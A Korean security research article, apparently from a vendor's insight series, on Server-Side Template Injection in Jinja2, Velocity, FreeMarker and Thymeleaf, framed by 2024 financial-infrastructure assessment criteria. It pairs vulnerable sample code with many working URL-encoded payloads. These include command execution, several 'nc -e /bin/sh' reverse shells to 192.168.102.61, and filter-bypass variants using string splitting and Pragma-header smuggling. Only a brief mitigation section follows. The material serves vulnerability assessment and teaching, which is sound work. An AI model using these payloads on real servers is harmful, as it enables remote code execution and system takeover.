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Research & Technique 
    

 

'24 년 전자금융기반시설 취약점 분석평가 기준 신설항목: 

SSTI(Server-Side Template Injection) 

■ 서론 

■ Server-Side Template Injection 
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① 공격자는 특정 템플릿 구문을 이용해서 SSTI 취약점이 있는지 확인한다. 

② SSTI 취약점이 확인되면, 공격자가 악의적인 템플릿 구문을 삽입하여 악성 코드 업로드, 원격 명령 실행을 수

행한다. 

③ 취약한 서버는 공격자의 입력값을 템플릿 구문으로 해석하여 해당 템플릿 구문 실행 결과를 반환한다. 

④ 공격자는 악의적인 템플릿 구문 실행을 통해 서버의 주요정보를 탈취한다. 
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Language Framework Template Engine 템플릿 구문 예시 

Python Flask Jinja2 {{7*7}} 

C# ASP.Net Razor @(7*7) 

Java Springboot Thymeleaf ${7*7} 

JavaScript - Jade = 7*7 

PHP Symphony Twig {{7*7}} 
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■ 주요 서버 측 템플릿 엔진에서 SSTI 공격 상세 분석 

from flask import * 

import socket 

 

app = Flask(__name__) 

 

@app.route('/') 

def index(e): 

    id = request.args.get('id',type=str,default='') 

    template = ''' 

    <!DOCTYPE html> 

    <html lang="en"> 

    <head> 

    <meta charset="UTF-8"> 

    <meta name="viewport" content="width=device-width, initial-scale=1.0"> 

...  

(중략) 

... 

  <p class="fs-1 text-center">Hello, %s</p> 

 

    </body> 

    </html> 

    '''% (id) 

    return render_template_string(template)



 

EQST insight | 5 

구분자 설명 예시 

{{ … }} 변수나 표현식의 결과를 출력하는 구분자 {{ config }} 

@{ … } URL 링크 표현식 

{% for i in list %} 

… 

{% endfor %}} 

{# … #} 주석을 표시하는 구분자 {# a comment #} 

(※ https://www.thymeleaf.org/doc/tutorials/3.0/uingthymeleaf.html#standard-expression-syntax) 

 

페이로드 [[${7*7}]] 

입력값 ?id=%7b%7b%37%2a%37%7d%7d 

 

https://www.thymeleaf.org/doc/tutorials/3.0/uingthymeleaf.html#standard-expression-syntax
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페이로드 
{{{}.__class__.__base__.__subclasses__()[367](‘cat flag.txt’,shell=True,stdout=-1) 

.communicate()[0].strip()}} 

입력값 

?id=%7b%7b%7b%7d%2e%5f%5f%63%6c%61%73%73%5f%5f%2e%5f%5f%62%61% 

73%65%5f%5f%2e%5f%5f%73%75%62%63%6c%61%73%73%65%73%5f%5f%28%2 

9%5b%33%36%37%5d%28%27%63%61%74%20%66%6c%61%67%2e%74%78%74% 

27%2c%73%68%65%6c%6c%3d%54%72%75%65%2c%73%74%64%6f%75%74%3d% 

2d%31%29%2e%63%6f%6d%6d%75%6e%69%63%61%74%65%28%29%5b%30%5d 

%2e%73%74%72%69%70%28%29%7d%7d 
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import org.apache.velocity.VelocityContext; 

import org.apache.velocity.runtime.RuntimeServices; 

import org.apache.velocity.runtime.RuntimeSingleton; 

import org.apache.velocity.runtime.parser.ParseException; 

… 

(중략) 

… 

@Controller 

@EnableAutoConfiguration 

public class Main { 

... 

(중략) 

… 

 @RequestMapping("/velocity") 

 @ResponseBody 

 String velocity(@RequestParam(required = false, name = "name") String name) { 

  System.out.println(name); 

  …(중략)... 

  String template = "<!DOCTYPE html><html lang='en'><head>" + 

    … (중략) … 

    + name +"</p></body></html>"; 

  RuntimeServices runtimeServices =RuntimeSingleton.getRuntimeServices(); 

  StringReader reader = new StringReader(template); 

  org.apache.velocity.Template t = new org.apache.velocity.Template(); 

  t.setRuntimeServices(runtimeServices); 

  try {   … (중략) … 

   VelocityContext context = new VelocityContext(); 

   StringWriter writer = new StringWriter(); 

   t.merge(context, writer); 

   template = writer.toString();  …
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구분자 설명 예시 

#set(…) 참조할 값을 설정 #set( $primate = “monkey” ) 

#if(…) 

… 

#else 

… 

#end 

조건문을 나타내는 구분자 

#if ($foo == $bar) 

Equal 

#else 

Not equal 

#end 

@{ … } 반복문을 나타내는 구분자 

#foreach( #product in $allProducts ) 

<li>$product</li> 

#end 

페이로드 #set($x=7*7) $x 

입력값 ?name=%23set($x=7*7)%20$x 
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페이로드 #set($a="")#set($str=$a.getClass().forName("java.lang.String")) $str 

입력값 ?name=%23set($a="")%23set($str=$a.getClass().forName("java.lang.String"))%20$str 
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페이로드 

#set($a="") 

#set($proc=$a.getClass().forName(“java.lang.Runtime”).getRuntime(). 

exec(“nc –e /bin/bash 192.168.102.61 8888”)) 

#set($null=$proc.waitFor()) 

입력값 

?name=%23set%28%24a%3d""%29%0a%23set%28%24proc%3d%24 

a%2egetClass%28%29%2eforName%28"java%2elang%2eRuntime"%29 

%2egetRuntime%28%29%2eexec%28"nc%20-

e%20%2fbin%2fsh%20192%2e168%2e102%2e61%208888"%29%29%23set(%24null%3d%24proc.waitFor()) 
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페이로드 

#set($engine="") 

#set($str=$engine.getClass().forName("java.lang.String")) 

#set($chr=$engine.getClass().forName("java.lang.Character")) 

#set($proc=$engine.getClass().forName("java.lang.Runtime").getRuntime().exec("id")) 

#set($null=$proc.waitFor()) 

#set($prt=$proc.getInputStream()) 

#foreach($i in [1..$prt.available()]) 

$str.valueOf($chr.toChars($prt.read())) 

#end 

입력값 

?name=%23set%28%24engine%3d""%29%0a%23set%28%24str%3d%24engine 

%2egetClass%28%29%2eforName%28"java%2elang%2eString"%29%29%0a%23 

set%28%24chr%3d%24engine%2egetClass%28%29%2eforName%28"java%2elang 

%2eCharacter"%29%29%0a%23set%28%24proc%3d%24engine%2egetClass%28 

%29%2eforName%28"java%2elang%2eRuntime"%29%2egetRuntime%28%29%2e 

exec%28"id"%29%29%0a%23set%28%24null%3d%24proc%2ewaitFor%28%29%29 

%0a%23set%28%24prt%3d%24proc%2egetInputStream%28%29%29%0a 

%23foreach%28%24i%20in%20%5b1%2e%2e%24prt%2eavailable%28%29%5d 

%29%0a%24str%2evalueOf%28%24chr%2etoChars%28%24prt%2eread%28%29 

%29%29%0a%23end%0a 
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import java.io.IOException; 

import java.io.StringReader; 

… (중략) … 

@Controller 

@EnableAutoConfiguration 

public class Main { 

... (중략) … 

 @RequestMapping("/freemarker") 

 @ResponseBody 

 String freemarker(@RequestParam(required = false, name = "name") String name) { 

  if (name == null) { 

   name = ""; 

  } 

  String template = "<!DOCTYPE html><html lang='en'><head>" + 

    … 

    + name +"</p></body></html>"; 

  try { 

   Template t = new Template("home", new StringReader(template), new 

Configuration()); 

   Writer out = new StringWriter(); 

   try { 

    t.process(new HashMap<Object, Object>(), out); 

   } catch (TemplateException e) { 

    e.printStackTrace(); 

   } 

   template = out.toString(); 

  } catch (IOException e) { 

   e.printStackTrace(); 

  } 

  return template; 

 }
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구분자 설명 예시 

<#assign …> 참조할 값을 설정 <#assign seq=”foo”> 

<#if condition> 

… 

<#else > 

… 

</#if> 

… 

조건문을 나타내는 구분자 

<#if x == 1> 

x is 1 

<#else> 

x is not 1 

</#if> 

<#list sequence> 

… 

</#list> 

반복문을 나타내는 구분자 

<#list sequence as item> 

Part repeated for each item 

</#list> 

${Value} 값을 출력 
<#assign seq=”foo”> 

${seq} 

 

 

페이로드 ${7*7} 

입력값 ?name=%24%7b%37%2a%37%7d 
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<#assign ex=”freemarker.template.utility.Execute”?new()> ${ ex(“실행할_명령어”) } 

 

 

페이로드 <#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")} 

입력값 

?name= %3c%23%61%73%73%69%67%6e%20%65%78%20%3d%20%22%66 

%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65 

%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f 

%6e%65%77%28%29%3e%24%7b%20%65%78%28%22%69%64%22%29%7d 

 

 

https://freemarker.apache.org/docs/app_faq.html#faq_template_uploading_security
https://freemarker.apache.org/docs/api/freemarker/template/utility/Execute.html


 

EQST insight | 16 

페이로드 ${"freemarker.template.utility.Execute"?new()("id")} 

입력값 

?name= %24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74 

%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45 

%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%69%64%22%29%7d 
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import org.thymeleaf.spring5.SpringTemplateEngine; 

import org.thymeleaf.templateresolver.ITemplateResolver; 

import org.thymeleaf.templateresolver.StringTemplateResolver; 

… (중략) … 

@Controller 

public class MainController { 

    @RequestMapping("/thymeleaf") 

    @ResponseBody 

    public String thymeleaf(@RequestParam(defaultValue="sktester") String username, HttpServletRequest 

request, HttpServletResponse response) { 

        String template = "<!DOCTYPE html><html lang='en'><head>" + 

        … (중략) … 

        "Hello, " + name +"</p></body></html>"; 

        … (중략) … 

        TemplateEngine templateEngine = new SpringTemplateEngine(); 

        ITemplateResolver templateResolver = new StringTemplateResolver(); 

        templateEngine.setTemplateResolver(templateResolver); 

        WebContext ctx = new WebContext(request, response, request.getServletContext()); 

        … (중략) … 

        Writer out = new StringWriter(); 

        templateEngine.process(template, ctx, out); 

        return out.toString(); 

} 
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구분자 설명 예시 

${ … } 변수 표현식 <div th:text=”${foo}”></div> 

@{ … } URL 링크 표현식 

<li><a 

th:href=”@{/foo(param1=${param1}, 

param2=${param2})}”>foo</a></li> 

[[ … ]] 데이터 직접 접근 [[${data}]] 

th:text 태그 내 데이터 접근 <h1 th:text=”${data}”>data</h1> 

https://www.thymeleaf.org/doc/tutorials/3.0/usingthymeleaf.html#standard-expression-syntax

 

페이로드 [[${7*7}]] 

입력값 ?username=%24%7b%37%2a%37%7d 

 

 

 

https://www.thymeleaf.org/doc/tutorials/3.0/usingthymeleaf.html#standard-expression-syntax
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페이로드 <a th:text=${7*7}></a> 

입력값 
?username=%3c%61%20%74%68%3a%74%65%78%74%3d%24%7b%37%2a%37%7d 

%3e%3c%2f%61%3e 

 

 

 

페이로드 <a th:text="${''.getClass().forName('java.lang.Runtime')}" ></a> 

입력값 
?username=<a%20th%3atext%3d"%24%7b%27%27%2egetClass%28%29%2eforName 

%28%27java%2elang%2eRuntime%27%29%7d"><%2fa> 
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페이로드 
<a th:text="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('nc –e 

 /bin/sh 192.168.102.61 8888')}"></a> 

입력값 

?username=  

<a%20th%3atext%3d"%24%7b%27%27%2egetClass%28%29%2eforName%28%27 

java%2elang%2eRuntime%27%29%2egetRuntime%28%29%2eexec%28%27nc%20-

e%20%2fbin%2fsh%20192%2e168%2e102%2e61%208888%27%29%7d"><%2fa> 

 

 

 



 

EQST insight | 21 

 

페이로드 <th th:text="${T( java.lang.Runtime).getRuntime().exec('nc -e /bin/sh 192.168.102.61 8888')}">Test</th> 

입력값 

?username= 

<th%20th%3atext%3d"%24%7bT%28java%2elang%2eRuntime%29%2egetRuntime 

%28%29%2eexec%28%27nc%20-e%20%2fbin%2fsh%20192%2e168%2e102%2e61 

%208888%27%29%7d">Test<%2fth>%0a 
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페이로드 [[${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("nc -e /bin/sh 192.168.102.61 8888")}]] 

입력값 

?username= <th%20th%3atext%3d"%24%7bT%28java%2elang%2eRuntime%29%2egetRuntime 

%28%29%2eexec%28%27nc%20-e%20%2fbin%2fsh%20192%2e168%2e102%2e61 

%208888%27%29%7d">Test<%2fth>%0a 
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■ SSTI 대응 방안 

#!/usr/bin/python3 

from flask import * 

 

… (중략) … 

 

@app.route('/', methods=[‘POST’,’GET’]) 

def index(): 

    a = int(request.form[‘a’]) 

    return render_template(‘index.html’, a=a) 

… (후략) …
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페이로드 {{5*5}} 

입력값 ?id=%7b%7b5%2a5%7d%7d 

 

 

필터링 대상(예시) 

- = + . , / 

? : ^ $ # @ 

* \ “ ※ ~ & 

% ! ( ) [ ] 

< > { } ` _ 
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Velocity 우회 방안 

페이로드 

#set($engine="") 

#set($a="java.la") 

#set($b="ng.Runtime") 

#set($c="ng.String") 

#set($d="ng.Character") 

#set($str=$engine.getClass().forName($a.concat($c))) 

#set($chr=$engine.getClass().forName($a.concat($d))) 

#set($proc=$engine.getClass().forName($a.concat($b)).getRuntime().exec("id")) 

#set($null=$proc.waitFor()) 

#set($prt=$proc.getInputStream()) 

#foreach($i in [1..$prt.available()]) 

$str.valueOf($chr.toChars($prt.read())) 

#end 

입력값 

?username=%23set%28%24engine%3d""%29%0a%23set%28%24a%3d"java%2ela"% 

29%0a%23set%28%24b%3d"ng%2eRuntime"%29%0a%23set%28%24c%3d"ng%2eSt 

ring"%29%0a%23set%28%24d%3d"ng%2eCharacter"%29%0a%23set%28%24str%3d 

%24engine%2egetClass%28%29%2eforName%28%24a%2econcat%28%24c%29%29 

%29%0a%23set%28%24chr%3d%24engine%2egetClass%28%29%2eforName%28%2 

4a%2econcat%28%24d%29%29%29%0a%23set%28%24proc%3d%24engine%2eget 

Class%28%29%2eforName%28%24a%2econcat%28%24b%29%29%2egetRuntime%2 

8%29%2eexec%28"id"%29%29%0a%23set%28%24null%3d%24proc%2ewaitFor%28 

%29%29%0a%23set%28%24prt%3d%24proc%2egetInputStream%28%29%29%0a%2 

3foreach%28%24i%20in%20%5b1%2e%2e%24prt%2eavailable%28%29%5d%29%0a 

%24str%2evalueOf%28%24chr%2etoChars%28%24prt%2eread%28%29%29%29%0a 

%23end%20%0a 
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페이로드 

<#assign ex = "freemarker.templa"> 

<#assign ex += "te.utility.Execute"> 

<#assign ex = ex?new()>${ ex("id")} 

입력값 

?username= %3c%23%61%73%73%69%67%6e%20%65%78%20%3d%20%22%66 

%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%22%3e%3c 

%23%61%73%73%69%67%6e%20%65%78%20%2b%3d%20%22%74%65%2e%75 

%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3e%3c%23%61 

%73%73%69%67%6e%20%65%78%20%3d%20%65%78%3f%6e%65%77%28%29 

%3e%24%7b%20%65%78%28%22%69%64%22%29%7d 
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페이로드 
<a th:text="${''.getClass().forName('java.lan'+'g.Runtime').getRuntime().exec('nc  

-e /b'+'in/sh 192.168.102.61 8888')}"></a> 

입력값 

?username=  

<a%20th%3atext%3d"%24%7b%27%27%2egetClass%28%29%2eforName%28%27ja 

va%2elan%27%2b%27g%2eRuntime%27%29%2egetRuntime%28%29%2eexec%28 

%27nc%20-e%20%2fb%27%2b%27in%2fsh%20192%2e168%2e102%2e61%20 

8888%27%29%7d"><%2fa> 
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페이로드 {{lipsum.__globals__.os.popen(‘cat flag.txt’).read())}} 

입력값 
?id=%7b%7blipsum%2e__globals__%2eos%2epopen%28%27cat%20flag%2etxt%27% 

29%2eread%28%29%29%7d%7d 

페이로드 

(id 값) 

{{lipsum|attr(request.pragma.0)|attr(request.pragma.1)|attr(request.pragma.2)|attr(req 

uest.pragma.3)|attr(request.pragma.4)|attr(request.pragma.5)|attr(request.pragma.6)|a 

ttr(request.pragma.7)()}} 

(header 값) 

Pragma: __globals__ 

Pragma: __getitem__ 

Pragma: __builtins__ 

Pragma: __import__ 

Pragma: os 

Pragma: popen 

Pragma: cat flag.txt 

Pragma: read 

입력값 

?id=%7b%7blipsum%7cattr%28request%2epragma%2e0%29%7cattr%28request%2e 

pragma%2e1%29%7cattr%28request%2epragma%2e2%29%7cattr%28request%2epr 

agma%2e3%29%7cattr%28request%2epragma%2e4%29%7cattr%28request%2eprag 

ma%2e5%29%7cattr%28request%2epragma%2e6%29%7cattr%28request%2epragm 

a%2e7%29%28%29%7d%7d 
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페이로드 

(id 값) 

{%with a=lipsum|attr(request.pragma.0)|attr(request.pragma.1)|attr(request.pragma.2)|attr(re 

quest.pragma.3)|attr(request.pragma.4)|attr(request.pragma.5)|attr(request.pragma.6)| 

attr(request.pragma.7)()%}{%print(a)%}{%endwith%} 

(header 값) 

Pragma: __globals__ 

Pragma: __getitem__ 

Pragma: __builtins__ 

Pragma: __import__ 

Pragma: os 

Pragma: popen 

Pragma: cat flag.txt 

Pragma: read 

입력값 

?id=%7b%7blipsum%7cattr%28request%2epragma%2e0%29%7cattr%28request%2e 

pragma%2e1%29%7cattr%28request%2epragma%2e2%29%7cattr%28request%2epr 

agma%2e3%29%7cattr%28request%2epragma%2e4%29%7cattr%28request%2eprag 

ma%2e5%29%7cattr%28request%2epragma%2e6%29%7cattr%28request%2epragm 

a%2e7%29%28%29%7d%7d 
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